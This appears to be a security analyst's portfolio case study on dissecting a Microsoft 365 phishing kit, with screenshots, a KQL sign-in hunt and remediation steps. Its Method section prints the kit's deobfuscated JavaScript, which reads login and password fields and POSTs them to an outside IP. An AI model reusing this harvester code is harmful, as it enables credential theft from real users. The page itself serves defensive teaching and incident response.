Active
--:--:-- UTCSyed Dayaan Shah
← Back to case filesCase · PHISH-001
Email / Web SecuritySeverity · critical48-hour response window

Phishing kit dissection — anatomy of a credential harvester

A user-submitted phishing page dropped onto a client tenant. I captured it, unpacked the kit, mapped the credential + MFA-token exfil endpoints, and built a takedown + tenant-hardening playbook that killed the campaign inside 48 hours.

Evidence · Captured phishing page · exfil POST highlightedLIVE
🔒 login.microsftonline-verify.com/common/oauth2 · Chrome (isolated VM)DevTools · Network
Microsoft

Sign in

Your session has expired — please re-authenticate to continue.

dayaan.shah@integris.com
••••••••••
Forgot?

⚠ URL is not login.microsoftonline.com

NetworkConsoleSources
NameMethodStatus
oauth2/authorizeGET200
post.php POST302
logo.svgGET200

Request payload

login=dayaan.shah@…
passwd=••••••••••
flowToken=eyJhbGciOi…

Request URL

https://45.61.187.22/x/post.php

Exfil endpoints reported

2

Users notified & remediated

17

Repeat sightings (30d)

0

MFA-resistant accounts

42

[01]Objective

Reverse a captured Microsoft 365 phishing kit, identify the exfil paths, and teach defenders what to look for.

[02]Live Lab · Phishing kit dissection lab
Interactive · runs in your browser
  1. 01 · Brief
  2. 02 · Your move
  3. 03 · Result
  4. 04 · How I stopped it
  5. 05 · How you prevent it
Stage 1 / 5 · Brief

An end user forwarded this “Microsoft sign-in” page. The URL was microsoft-verify.top — not Microsoft.

You have the captured HTML. Your job: find the credential and MFA exfil paths before the campaign hits more mailboxes.

⚠ ONLY view captured kits inside a sandboxed VM with no outbound network. Never open the live URL.
[03]Stack · Tools & Platforms

Tools

  • Burp Suite
  • URLScan.io
  • Any.Run
  • Chrome DevTools
  • Defender for O365

Platforms

  • Entra ID
  • Exchange Online
  • Defender XDR
[04]Method
  1. 01

    Pulled the captured HTML/JS locally in an isolated VM; disabled outbound network calls before opening.

  2. 02

    Traced form actions, hidden inputs, and inline scripts to find both the credential POST and the MFA-code capture step.

    Fig · 02 · Kit source · exfil endpoint locatedLIVE
    kit/index.js — deobfuscatedVS Code · JavaScript
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    function harvest(e) {
      e.preventDefault();
      const payload = {
        login:  document.getElementById("i0116").value,
        passwd: document.getElementById("i0118").value,
        ua:     navigator.userAgent,
        ts:     Date.now(),
      };
      fetch("https://45.61.187.22/x/post.php", {
        method: "POST",
        body:   JSON.stringify(payload),
      }).finally(() => {
        location.href = "https://login.microsoftonline.com/";
      });
    }
  3. 03

    Cross-referenced infrastructure in URLScan; filed abuse reports with the registrar and hosting provider.

  4. 04

    Wrote KQL against SignInLogs to find every user who touched the lure URL, revoked sessions, forced re-enrollment.

    Fig · 04 · KQL hunt · SigninLogs correlationLIVE
    Microsoft Sentinel · KQL querySigninLogs · last 24h
    SigninLogs
    | where TimeGenerated > ago(24h)
    | where AppDisplayName == "Office 365"
    | where IPAddress == "45.61.187.22"
    | where ResultType != 0
    | project TimeGenerated, UserPrincipalName, IPAddress,
              Location, ResultType, ResultDescription
    | order by TimeGenerated desc
    TimeUserIPResult
    09:14:22a.patel@…45.61.187.2250126
    09:15:07m.rojas@…45.61.187.2250126
    09:15:41j.chen@…45.61.187.2250126
    09:17:03s.khan@…45.61.187.220

    → 1 successful sign-in from phishing IP · session revoked · password reset forced

  5. 05

    Rolled out phishing-resistant auth (WebAuthn/FIDO2) for high-privilege accounts.

[05]Outcome

Kit reversed, two exfil endpoints reported to hosting providers, tenant hardened with phishing-resistant MFA path.

[06]Lessons learned
  • AiTM kits capture the MFA code, not the seed — only phishing-resistant auth actually stops them.
  • The kit's own JS tells you the exfil URL — always the fastest lead.

Next case · IAM-009

Password brute-force & hash cracking — why length beats complexity

Open →